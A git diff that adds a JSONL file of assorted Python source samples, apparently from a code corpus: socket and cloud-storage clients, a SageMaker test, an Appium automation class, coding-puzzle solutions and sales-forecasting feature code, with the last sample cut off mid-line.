diff --git "a/683.jsonl" "b/683.jsonl" new file mode 100644--- /dev/null +++ "b/683.jsonl" @@ -0,0 +1,594 @@ +{"seq_id":"170362285","text":"# -*- coding:utf-8 -*-\n\n#\nimport time\nfrom parking_simulation import SocketClient\ndef main(port):\n running = True\n while running:\n time.sleep(1)\n client = SocketClient(port=port)\n try:\n print(client.get_data().decode())\n except:\n running = False\n print(\"connection lost\")\n\nif __name__ == \"__main__\":\n with open(\"port.txt\") as file:\n port = int(file.read())\n main(port)\n","sub_path":"socket_client.py","file_name":"socket_client.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"314292937","text":"# -*- coding: utf-8 -*-\n\"\"\" Factory for OutputWriter \"\"\"\n\nfrom agogosml.common.flask_http_listener_client import FlaskHttpListenerClient\nfrom agogosml.common.eventhub_streaming_client import EventHubStreamingClient\nfrom agogosml.common.kafka_streaming_client import KafkaStreamingClient\nfrom .output_writer import OutputWriter\n\n\nclass OutputWriterFactory:\n \"\"\"Factory for OutputWriter\"\"\"\n\n @staticmethod\n def create(config: dict, streaming_client=None, listener_client=None):\n \"\"\"Creates a new instance of OutputWriter.\n\n :param config: A configuration for OutputWriter.\n :param streaming_client: Optional, an existing streaming client implementation to use.\n :param listener_client: Optional, an existing listener client implementation to use.\n :return OutputWriter: An instance of an OutputWriter with a\n streaming_client and listener.\n \"\"\"\n\n client = None\n\n if OutputWriterFactory.is_empty(config):\n raise Exception('''\n No config was set for the OutputWriterFactory\n ''')\n\n if streaming_client is None:\n if config.get(\"client\") is None:\n raise Exception('''\n client cannot be empty\n ''')\n\n client_config = config.get(\"client\")[\"config\"]\n if config.get(\"client\")[\"type\"] == \"kafka\":\n client = KafkaStreamingClient(client_config)\n\n if config.get(\"client\")[\"type\"] == \"eventhub\":\n client = EventHubStreamingClient(client_config)\n\n if client is None:\n raise Exception('''\n Unknown client type\n ''')\n else:\n client = streaming_client\n\n listener = None\n if listener_client is None:\n port = config.get(\"OUTPUT_WRITER_PORT\")\n host = config.get(\"OUTPUT_WRITER_HOST\")\n\n listener = FlaskHttpListenerClient(port, host)\n else:\n listener = listener_client\n\n return OutputWriter(client, listener)\n\n @staticmethod\n def is_empty(dictionary: dict) -> bool:\n \"\"\"\n Checks if a dictionary is empty.\n Empty dictionaries resolve to false when\n converted to booleans in Python.\n\n :param dictionary: A dictionary to test.\n :return: True if empty, false otherwise.\n \"\"\"\n return not bool(dictionary)\n","sub_path":"agogosml/agogosml/writer/output_writer_factory.py","file_name":"output_writer_factory.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"315568171","text":"# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You\n# may not use this file except in compliance with the License. A copy of\n# the License is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\n\"\"\"This module contains code to test SageMaker ``Contexts``\"\"\"\nfrom __future__ import absolute_import\n\n\ndef test_model(\n endpoint_context_associate_with_model,\n model_obj,\n endpoint_action_obj,\n sagemaker_session,\n):\n model_list = endpoint_context_associate_with_model.models()\n for model in model_list:\n assert model.source_arn == endpoint_action_obj.action_arn\n assert model.destination_arn == model_obj.context_arn\n assert model.source_type == \"ModelDeployment\"\n assert model.destination_type == \"Model\"\n","sub_path":"tests/integ/sagemaker/lineage/test_endpoint_context.py","file_name":"test_endpoint_context.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"83533265","text":"class Solution:\n def productExceptSelf(self, nums: List[int]) -> List[int]:\n l,r,out=[0]*len(nums),[0]*len(nums),[0]*len(nums)\n l[0]=1\n r[len(nums)-1]=1\n n=len(nums)\n for i in range(1,n):\n l[i]=l[i-1]*nums[i-1]\n \n r[n-1]=1\n for i in reversed(range(n-1)):\n r[i]=r[i+1]*nums[i+1]\n \n for i in range(n):\n out[i]=l[i]*r[i]\n \n return out\n\n'''\nleft array has values where 'i'th value represents \nits product from left till that index and vice versa to roght array\n\nfor output array we find the product of the left and right array\n'''","sub_path":"Product of Array Except Self - O(n) and O(n).py","file_name":"Product of Array Except Self - O(n) and O(n).py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"603052091","text":"# Copyright (C) 2019-2021 Data Ductus AB\n#\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\nimport pickle\n\ndef test():\n d = dict();\n for i in range(1,1000000): d[str(i)] = str(i+1)\n r = 17\n s=0\n for i in range(1,100000):\n r = r*r % 1000000\n b = d[str(r)]\n s += int(b);\n print(\"in dict_test after summation; last value retrieved should be\",r+1,\", was \",b)\n print(\"Retrieved and summed 100000 values; sum is \",s)\n fileptr = open('pytest.bin','wb')\n b = pickle.dumps(d)\n print(\"pickled dict. Length of bytes object is\",len(b))\n t1 = \"678\" in d\n t2 = \"-1\" in d\n if (t1 and not t2):\n print(\"contains test ok\")\n else:\n print(\"contains test failed\")\n for i in range(1,1000000):\n if (i%100 > 0): del d[str(i)]\n print(\"Size of dictionary after popping is \",len(d))\n t = 0\n for i in iter(d): t += int(i)\n print (\"Sum of remaining keys is \",t)\n deflt = d.get(\"100\",666)\n print(\"dict_get on existing key 100; should return 101. Returned \",deflt)\n deflt = d.get(\"37\",666)\n print(\"dict_get on non-existing key; should return default value 666. Returned \",deflt)\n other = dict()\n for j in range(11,200,20):\n other[str(j)] = 2*j\n d.update(other)\n items = iter(d.items())\n for k in range(0,10):\n key,value = next(items)\n print(\"item #\",k,\"is: key=\",key,\", value=\",value)\n key,value = d.popitem()\n print(\"popitem gives: key=\",key,\", value=\",value)\n key,value = d.popitem()\n print(\"popitem gives: key=\",key,\", value=\",value)\n print(\"Size of dictionary should be 10007; is \",len(d));\n return\n \ntest()\n\n\n \n \n \n","sub_path":"builtin/serialization_tests/dict_test2.py","file_name":"dict_test2.py","file_ext":"py","file_size_in_byte":3068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"556754098","text":"numero_vertices = 0\nnumero_arestas = 0\nlista = []\n\ndef receber_relacoes():\n primeira_linha = input()\n numero_vertices = int(primeira_linha.split(' ')[0])\n numero_arestas = int(primeira_linha.split(' ')[1])\n count = 0\n while count < numero_arestas:\n lista.append(input())\n count += 1\nreceber_relacoes()\n\n\nfamilias = []\nfor row in lista:\n count_familia = 0\n pessoa_1 = row.split(' ')[0]\n pessoa_2 = row.split(' ')[2]\n for familia in familias: \n if pessoa_1 not in familia and pessoa_2 not in familia:\n count_familia += 1\n continue\n\n if pessoa_1 in familia and pessoa_2 not in familia:\n familia.add(pessoa_2)\n continue\n\n if pessoa_1 not in familia and pessoa_2 in familia:\n familia.add(pessoa_1)\n\n if count_familia == len(familias):\n familias.append(set({pessoa_1,pessoa_2}))\n\n\n\nfor familia in familias:\n i=0\n while i < len(familias):\n if familia != familias[i]:\n if(len(familia.intersection(familias[i])) > 0):\n familia.update(familias[i])\n familias.remove(familias[i])\n i += 1\n\n\nprint(len(familias))\n","sub_path":"ArvoreGenealogica.py","file_name":"ArvoreGenealogica.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"362772841","text":"\nfrom google.cloud import storage\n\ndef list_blobs_with_prefix(bucket_name, prefix, delimiter=None):\n\n\n storage_client = storage.Client()\n\n # Note: Client.list_blobs requires at least package version 1.17.0.\n blobs = storage_client.list_blobs(bucket_name, prefix=prefix, delimiter=delimiter)\n\n print(\"Blobs:\")\n for blob in blobs:\n print(blob.name)\n\n if delimiter:\n print(\"Prefixes:\")\n for prefix in blobs.prefixes:\n print(prefix)\n\nlist_blobs_with_prefix('hydemo002','hy','/')\n\n","sub_path":"MyCode/demo01.py","file_name":"demo01.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"550494656","text":"import os, sys, json, time, math\nfrom battlehack20 import CodeContainer, Game\nimport battlehack20\nTeam = battlehack20.game.team.Team\nfrom robot import Robot\nimport time\n\ndef update_elo(e1, e2, r, k=10):\n p1 = 1/(1+math.pow(10, (e1-e2)/400))\n p2 = 1 - p1\n return e1 + k*(r-p1), e2 + k*(p2-r)\n\ndef run_game(dir1, dir2, board_size=16, max_rounds=250, debug=False):\n c1 = CodeContainer.from_directory(dir1)\n c2 = CodeContainer.from_directory(dir2)\n game = Game([c1, c2], board_size=board_size, max_rounds=max_rounds, debug=debug, seed=None)\n while game.running:\n game.turn()\n return game.winner.value\n\n\nif __name__ == \"__main__\":\n MAX_ROUNDS = 250\n GAMES = 20\n\n wins = [0, 0]\n \n p1 = sys.argv[1]\n p2 = sys.argv[2]\n\n c1 = CodeContainer.from_directory(p1)\n c2 = CodeContainer.from_directory(p2)\n\n for i in range(GAMES):\n game = Game([c1, c2], board_size=16, max_rounds=MAX_ROUNDS, debug=True, seed=None, random_pieces=2)\n while game.running:\n game.turn()\n if game.winner == Team.WHITE:\n wins[0] += 1\n else:\n wins[1] += 1\n \n os.system(\"cls\")\n print(f\"{round((i+1)/GAMES*100, 2)}% complete.\\nCurrent ratio:\")\n print(f\"{wins} --> {round(wins[0] / (wins[0] + wins[1]) * 100, 2)}%\")\n\n","sub_path":"nn/compare_bots.py","file_name":"compare_bots.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"211565108","text":"# coding:utf-8\r\nfrom appium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom appium_package.appium_loging import *\r\nfrom appium.webdriver.common.touch_action import TouchAction\r\nfrom appium_package.yaml_util import *\r\nimport re\r\n\r\n\r\nclass OperateWindow(object):\r\n @get_log\r\n def __init__(self,args,ralcaps):\r\n self.port = args['port']\r\n self.host = args['host']\r\n self.driver = webdriver.Remote(\"http://%s:%s/wd/hub\" % (self.host,self.port), ralcaps)\r\n self.caps = ralcaps\r\n self.touch = TouchAction(self.driver)\r\n\r\n @get_log\r\n def process_windows(self, count, pop_info):\r\n for i in range(count):\r\n info = pop_info\r\n loc = '//*[contains(@text,\"%s\")]' % info\r\n try:\r\n WebDriverWait(self.driver, 10, 0.5).until(EC.presence_of_element_located((By.XPATH,loc))[0]).click()\r\n except Exception as e:\r\n pass\r\n\r\n @get_log\r\n def found_thoast(self, thoast_info):\r\n thoast = thoast_info\r\n toast_loc = (\"xpath\", '//*[contains(@text,\"%s\")]' % thoast)\r\n try:\r\n t = WebDriverWait(self.driver, 10, 0.5).until(EC.presence_of_element_located(toast_loc))\r\n if t:\r\n raise Exception(\"Thoast 已确认!\")\r\n except:\r\n raise Exception(\"Thoast 信息未找到\")\r\n\r\n @get_log\r\n def into_setting(self): # 进入设置界面\r\n\r\n set_id = '//*[@resource-id=\"%s:id/iv_goto_mine\"]' % self.caps[\"appPackage\"] # 通过xpath定位元素\r\n self.driver.find_element_by_xpath(set_id).click()\r\n self.driver.implicitly_wait(10)\r\n\r\n @get_log\r\n def switch_model(self): # 切换简易模式\r\n model_id = '//*[@resource-id=\"%s:id/switch_button\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(model_id).click()\r\n self.driver.implicitly_wait(10)\r\n\r\n @get_log\r\n def open_off_pic(self): # 双光开关\r\n doublepic_id = '//*[@resource-id=\"%s:id/iv_pic\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(doublepic_id).click()\r\n self.driver.implicitly_wait(10)\r\n\r\n @get_log\r\n def pic_xuan(self): # 双光旋转开关\r\n tem_id = '//*[@resource-id=\"%s:id/iv_xuan\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(tem_id).click()\r\n self.driver.implicitly_wait(10)\r\n\r\n @get_log\r\n def operate_shutter(self): # 打快门开关\r\n shutter_id = '//*[@resource-id=\"%s:id/iv_kuaimen\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(shutter_id).click()\r\n self.driver.implicitly_wait(10)\r\n\r\n @get_log\r\n def into_picture(self): # 进入图库\r\n pic_id = '//*[@resource-id=\"%s:id/iv_goto_gallery\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(pic_id).click()\r\n self.driver.implicitly_wait(10)\r\n\r\n @get_log\r\n def recorde_vedio(self, long_time): # 拍摄录像\r\n video_id = '//*[@resource-id=\"%s:id/iv_recodeing\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(video_id).click()\r\n self.driver.implicitly_wait(10)\r\n time.sleep(long_time)\r\n self.driver.find_element_by_xpath(video_id).click()\r\n self.driver.implicitly_wait(10)\r\n\r\n @get_log\r\n def photo_pic(self): # 拍照\r\n camera_id = '//*[@resource-id=\"%s:id/iv_camera\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(camera_id).click()\r\n\r\n @get_log\r\n def switch_color(self, color_style): # 切换伪彩\r\n color_stytle_id = '//*[@resource-id=\"%s:id/iv_fitter\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(color_stytle_id).click()\r\n self.driver.implicitly_wait(10)\r\n size = self.driver.get_window_size()\r\n print(size)\r\n\r\n def color_chose():\r\n loc = '//*[@resource-id=\"%s:id/tv_Name\"and@text=\"%s\"]/../android.widget.ImageView' \\\r\n % (self.caps[\"appPackage\"],color_style)\r\n try:\r\n ral = self.driver.find_element_by_xpath(loc)\r\n if ral:\r\n ral.click()\r\n time.sleep(1)\r\n self.touch.tap(None, size['width'] * 0.5, size['height'] * 0.5, 1).perform()\r\n except Exception:\r\n self.driver.swipe(size['width'] * 0.92, size['height'] * 0.95, size['width'] * 0.08,\r\n size['height'] * 0.95, 500)\r\n self.driver.find_element_by_xpath(loc).click()\r\n self.touch.tap(None, size['width'] * 0.5, size['height'] * 0.5, 1).perform()\r\n\r\n return color_chose()\r\n\r\n @get_log # 推出测试\r\n def link_exit(self):\r\n self.driver.quit()\r\n\r\n @get_log # 点测温\r\n def point_temp(self, point_x, point_y):\r\n point_id = '//*[@resource-id=\"%s:id/iv_jia\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(point_id).click()\r\n self.driver.implicitly_wait(10)\r\n self.touch.tap(None,point_x, point_y)\r\n\r\n @get_log # 线测温\r\n def line_temp(self, start_x, start_y, end_x, end_y):\r\n line_id = '//*[@resource-id=\"%s:id/iv_xian\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(line_id).click()\r\n self.driver.implicitly_wait(10)\r\n self.driver.swipe(start_x, start_y, end_x, end_y)\r\n\r\n @get_log # 框测温\r\n def rect_temp(self, start_x, start_y, end_x, end_y):\r\n rect_id = '//*[@resource-id=\"%s:id/iv_kuang\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(rect_id).click()\r\n self.driver.implicitly_wait(10)\r\n self.driver.swipe(start_x, start_y, end_x, end_y)\r\n\r\n @get_log # 等温尺\r\n def biaochi(self):\r\n bc_id = '//*[@resource-id=\"%s:id/iv_biaochi\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(bc_id).click()\r\n self.driver.implicitly_wait(10)\r\n\r\n @get_log\r\n def remove(self): # 删除\r\n dt_id = '//*[@resource-id=\"%s:id/iv_eraser\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(dt_id).click()\r\n self.driver.implicitly_wait(10)\r\n\r\n @get_log\r\n def get_pic_num(self): # 获取图库中图片的数量并筛选\r\n tem_id = '//*[@resource-id=\"%s:id/selected_album\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(tem_id).click()\r\n self.driver.implicitly_wait(10)\r\n pic_id = '//*[@resource-id=\"%s:id/album_name\" and @text=\"infisense\"]/../android.widget.TextView[@index=\"2\"]'\\\r\n % self.caps[\r\n \"appPackage\"]\r\n WebDriverWait(self.driver, 30, 0.5).until(EC.visibility_of_element_located((By.XPATH,pic_id)))\r\n pic_num = self.driver.find_element_by_xpath(pic_id).get_attribute('name')\r\n self.driver.find_element_by_xpath(pic_id).click()\r\n logger.info(\"pic_number: %d\" % int(pic_num))\r\n\r\n @get_log\r\n def get_video_num(self): # 获取图库中video的数量并筛选\r\n tem_id = '//*[@resource-id=\"%s:id/selected_album\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(tem_id).click()\r\n self.driver.implicitly_wait(10)\r\n video_id = '//*[@resource-id=\"%s:id/album_name\" and @text=\"video\"]/../android.widget.TextView[@index=\"2\"]' \\\r\n % self.caps[\r\n \"appPackage\"]\r\n WebDriverWait(self.driver, 30, 0.5).until(EC.visibility_of_element_located((By.XPATH, video_id)))\r\n video_num = self.driver.find_element_by_xpath(video_id).get_attribute('name')\r\n self.driver.find_element_by_xpath(video_id).click()\r\n logger.info(\"video_number: %d\" % int(video_num))\r\n\r\n @get_log\r\n def get_all_num(self): # 获取图库中所有的数量并筛选\r\n tem_id = '//*[@resource-id=\"%s:id/selected_album\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(tem_id).click()\r\n self.driver.implicitly_wait(10)\r\n all_id = '//*[@resource-id=\"%s:id/album_name\" and @text=\"全部\"]/../android.widget.TextView[@index=\"2\"]' \\\r\n % self.caps[\r\n \"appPackage\"]\r\n WebDriverWait(self.driver, 30, 0.5).until(EC.visibility_of_element_located((By.XPATH, all_id)))\r\n all_num = self.driver.find_element_by_xpath(all_id).get_attribute('name')\r\n self.driver.find_element_by_xpath(all_id).click()\r\n logger.info(\"all_number: %d\" % int(all_num))\r\n\r\n @get_log\r\n def pic_de(self): # 图库中图片删除\r\n tem_id = '//*[@resource-id=\"%s:id/button_apply\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(tem_id).click()\r\n self.driver.implicitly_wait(10)\r\n tem_id2 = '//*[@resource-id=\"%s:id/tv_ok\"]' % self.caps[\"appPackage\"]\r\n self.driver.find_element_by_xpath(tem_id2).click()\r\n self.driver.implicitly_wait(10)\r\n\r\n @get_log\r\n def choose_pic(self, number): # 选中图库中图片元素\r\n size = self.driver.get_window_size()\r\n for tem_idx in range(number):\r\n tem_id2 = '//*[@resource-id=\"%s:id/recyclerview\"]/android.widget.FrameLayout[' \\\r\n '@index=\"%s\"]/android.view.View' % (self.caps[\"appPackage\"], tem_idx % 18)\r\n el = self.driver.find_element_by_xpath(tem_id2)\r\n self.touch.tap(el).perform()\r\n self.driver.implicitly_wait(10)\r\n tem_id = '//*[@resource-id=\"%s:id/button_apply\"]' % self.caps[\"appPackage\"]\r\n tem_text = self.driver.find_element_by_xpath(tem_id).text\r\n self.driver.implicitly_wait(10)\r\n temp_num = re.findall('删除\\((.*?)\\)', tem_text)\r\n time.sleep(0.5)\r\n if tem_idx % 18 == 17:\r\n self.driver.swipe(size['width'] * 0.5, size['height'] * 0.9, size['width'] * 0.5, size['height'] * 0.16)\r\n time.sleep(5)\r\n new=self.driver.page_source\r\n print(new)\r\n @get_log\r\n def ext_pic(self): # 退出图库\r\n tem_id = '//*[@resource-id=\"%s:id/recyclerview\" and @content-desc=\"转到上一层级\"]'\r\n self.driver.find_element_by_xpath(tem_id).click()\r\n self.driver.implicitly_wait(10)\r\n","sub_path":"pythonProject/appium_package/run_function.py","file_name":"run_function.py","file_ext":"py","file_size_in_byte":10335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"346125722","text":"# Copyright (C) 16/3/20 RW Bunney\n\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\"\"\"\nContains the specifications and details for the SDP hardware outlined in SKA­TEL­SDP­0000091\n\nhttps://www.microway.com/knowledge-center-articles/detailed-specifications-intel-xeon-e5-2600v3-haswell-ep-processors/\nBased on the above link, the Galaxy Ivy Bridge has 8FLOPs/Cycle\n\"\"\"\nfrom utils.constants import SI\n\nSKALOW_nodes = 896\nSKAMID_nodes = 786\ngpu_per_node = 2\ngpu_peak_flops = 31 * SI.tera # Double precision\nmemory_per_node = 31 * SI.giga\n\nSKALOW_buffer_size = 67 * SI.peta\nSKAMID_buffer_size = 116 * SI.peta\nSKALOW_buffer_storage_per_node = 75 * SI.tera\nSKAMID_buffer_storage_per_node = 147 * SI.tera\nSKALOW_storage_per_island = 4.2 * SI.peta\nSKAMID_storage_per_island = 7.7 * SI.peta\n","sub_path":"hpconfig/specs/sdp/sdp.py","file_name":"sdp.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"310746297","text":"# -*- coding: utf-8 -*-\n#!/usr/bin/env python\n'''印象盐城·数创未来大数据竞赛 - 乘用车零售量预测 | 赛题与数据 \n https://tianchi.aliyun.com/competition/information.htm?spm=5176.11165320.5678.2.76d0507fX97NYj&raceId=231640\n\n训练集处理:\n - 时间窗口特征核算\n - 周期特征提取\n - XGboost-style 训练集合成\n'''\n\n__version__ = 'v18.2.25.2442'\n__author__ = 'DU4ai'\n__license__ = 'MIT@2017-12'\n\n#import sys\nimport os\nimport os.path\n\nimport sys\nimport logging\n#logging.basicConfig()\nlogging.basicConfig(level=logging.CRITICAL)\n_handler = logging.StreamHandler()\n_formatter = logging.Formatter(\"[%(levelname)s]%(asctime)s:%(name)s(%(lineno)s): %(message)s\"\n #, datefmt='%Y.%m.%d %H:%M:%S'\n , datefmt='%H:%M:%S'\n )\n_handler.setFormatter(_formatter)\nLOG = logging.getLogger(__name__)\n#LOG = logging.getLogger()\nLOG.setLevel(logging.DEBUG) \nLOG.propagate = False\n\nLOG.addHandler(_handler)\nLOG.debug('load LOG level')\n\n\n\n\n\n\n\n\nimport time\nfrom datetime import datetime\n\nimport numpy as np \nimport pandas as pd\nimport warnings\nwarnings.filterwarnings('ignore')\n\n#from sklearn.preprocessing import MinMaxScaler\n\n\n\n'''\nfrom modules.FeatureDraw import sale_cal_sum\nfrom modules.FeatureDraw import sale_cal_max\nfrom modules.FeatureDraw import sale_cal_min\nfrom modules.FeatureDraw import sale_cal_median\nfrom modules.FeatureDraw import sale_cal_mean\nfrom modules.FeatureDraw import sale_cal_std\n'''\nfrom modules.FeatureDraw import sale_cal_mix\nfrom modules.FeatureDraw import sale_cal_mix_decay\n\n\ndef _gen_twin(mli, wsize):\n print(range(wsize))\n _tw = []\n for i in range(wsize):\n _tw.append(mli + i) \n return _tw\ndef timewin_sets(aim, feat, pren='zq225'):\n '''时间窗口训练集:\n - 最近 2/3/6/12 个月窗口 销量之和/差(平均/中值/最大/最小/方差)\n - 基于时间窗口滑动递减统计特征\n '''\n _aimpath = os.path.dirname(aim)\n #print(_aimpath)\n csv_tran = '../raw/ZQ/LCh1_trainSaleDatetest.csv'\n #csv_tran = aim\n LOG.info(csv_tran)\n csv_feat = feat\n csv_twt = os.path.join(_aimpath\n , \"%s_timewin.csv\"%pren)\n csv_tw_decay = os.path.join(_aimpath\n , \"%s_timewin_decay.csv\"%pren)\n LOG.debug(csv_twt)\n \n _start=time.time()\n train = pd.read_csv(csv_tran)\n test = pd.read_csv(csv_feat)\n\n print(\"之前训练集尺寸 :\\t{} \".format(train.shape))\n print(\"之前特征集尺寸 :\\t{} \".format(test.shape))\n _twin23612 = train\n _twin23612_decay = train\n\n\n\n\n _unique_mon = train['sale_date'].unique()\n print('有效月度累计:%s月'%len(_unique_mon))\n #_tmp = train.loc[:,['class_id','sale_date','sale_quantity']]\n #print(_tmp[_tmp.class_id == 2])\n #return None\n\n train['sale_date'] = train['year'] * 100 + train['month']\n train['sale_date'] = train['sale_date'].astype(int)\n train['sale_date'] = pd.to_datetime(train['sale_date'],format='%Y%m',errors = \"coerce\")\n train['sale_date'] = train['sale_date'].dt.to_period('m')\n #print(train['sale_date'][0] + 1)\n test['sale_date'] = test['sale_date'].astype(int)\n test['sale_date'] = pd.to_datetime(test['sale_date'],format='%Y%m',errors = \"coerce\")\n test['sale_date'] = test['sale_date'].dt.to_period('M')\n\n train = pd.concat([train, test]).reset_index(drop=True)\n train.fillna(0, inplace=True)\n\n print(\"进入训练集尺寸 :\\t{} \".format(train.shape))\n\n \n # 从最近开始\n #m = train['sale_date'].iloc[-1]\n # 从最远开始\n #m = train['sale_date'].iloc[-1]\n m = train['sale_date'][0] + 1\n # 俩月窗口 特征需计算69轮\n twindow=_gen_twin(m,2)#[m,m-1] #每次计算必须重新初始化window\n print('\\t 时窗 轮算尺寸:{}月'.format(len(twindow)))\n _decay2M_mix = sale_cal_mix_decay(_twin23612_decay\n , twindow,69, seedname='decay2M') \n print(\"安装特征集尺寸 :\\t{} \".format(_decay2M_mix.shape))\n _twin23612_decay = pd.merge(_twin23612_decay\n , _decay2M_mix, on=['class_id','sale_date']\n , how='left')\n print(\"当前训练集尺寸 :\\t{} \".format(_twin23612_decay.shape))\n\n # 仨月窗口 特征需计算68轮\n twindow=_gen_twin(m,3)#[m,m-1] #每次计算必须重新初始化window\n print('\\t 时窗 轮算尺寸:{}月'.format(len(twindow)))\n _decay3M_mix = sale_cal_mix_decay(_twin23612_decay\n , twindow,68, seedname='decay3M') \n print(\"安装特征集尺寸 :\\t{} \".format(_decay3M_mix.shape))\n _twin23612_decay = pd.merge(_twin23612_decay\n , _decay3M_mix, on=['class_id','sale_date']\n , how='left')\n print(\"当前训练集尺寸 :\\t{} \".format(_twin23612_decay.shape))\n\n # 陆月窗口 特征需计算65轮\n twindow=_gen_twin(m,6)#[m,m-1] #每次计算必须重新初始化window\n print('\\t 时窗 轮算尺寸:{}月'.format(len(twindow)))\n _decay6M_mix = sale_cal_mix_decay(_twin23612_decay\n , twindow,65, seedname='decay6M') \n print(\"安装特征集尺寸 :\\t{} \".format(_decay6M_mix.shape))\n _twin23612_decay = pd.merge(_twin23612_decay\n , _decay6M_mix, on=['class_id','sale_date']\n , how='left')\n print(\"当前训练集尺寸 :\\t{} \".format(_twin23612_decay.shape))\n\n # 12月窗口 特征需计算59轮\n twindow=_gen_twin(m,12)#[m,m-1] #每次计算必须重新初始化window\n print('\\t 时窗 轮算尺寸:{}月'.format(len(twindow)))\n _decay12M_mix = sale_cal_mix_decay(_twin23612_decay\n , twindow,59, seedname='decayHY') \n print(\"安装特征集尺寸 :\\t{} \".format(_decay12M_mix.shape))\n _twin23612_decay = pd.merge(_twin23612_decay\n , _decay12M_mix, on=['class_id','sale_date']\n , how='left')\n print(\"当前训练集尺寸 :\\t{} \".format(_twin23612_decay.shape))\n\n\n\n\n _end=time.time()\n print('\\t Duration:{:.3f}s'.format(_end-_start))\n\n # 从最近开始\n #m = train['sale_date'].iloc[-1]\n # 从最远开始\n #m = train['sale_date'].iloc[-1]\n m = train['sale_date'][0] + 1\n # 俩月窗口 特征需计算69轮\n twindow=_gen_twin(m,2)#[m,m-1] #每次计算必须重新初始化window\n print('\\t 时窗 轮算尺寸:{}月'.format(len(twindow)))\n _last2M_mix = sale_cal_mix(_twin23612,twindow,69, seedname='last2M') \n print(\"安装特征集尺寸 :\\t{} \".format(_last2M_mix.shape))\n _twin23612 = pd.merge(_twin23612, _last2M_mix, on=['class_id','sale_date'], how='left')\n print(\"当前训练集尺寸 :\\t{} \".format(_twin23612.shape))\n\n # 仨月窗口 特征需计算68轮\n twindow=_gen_twin(m,3)#[m,m-1] #每次计算必须重新初始化window\n print('\\t 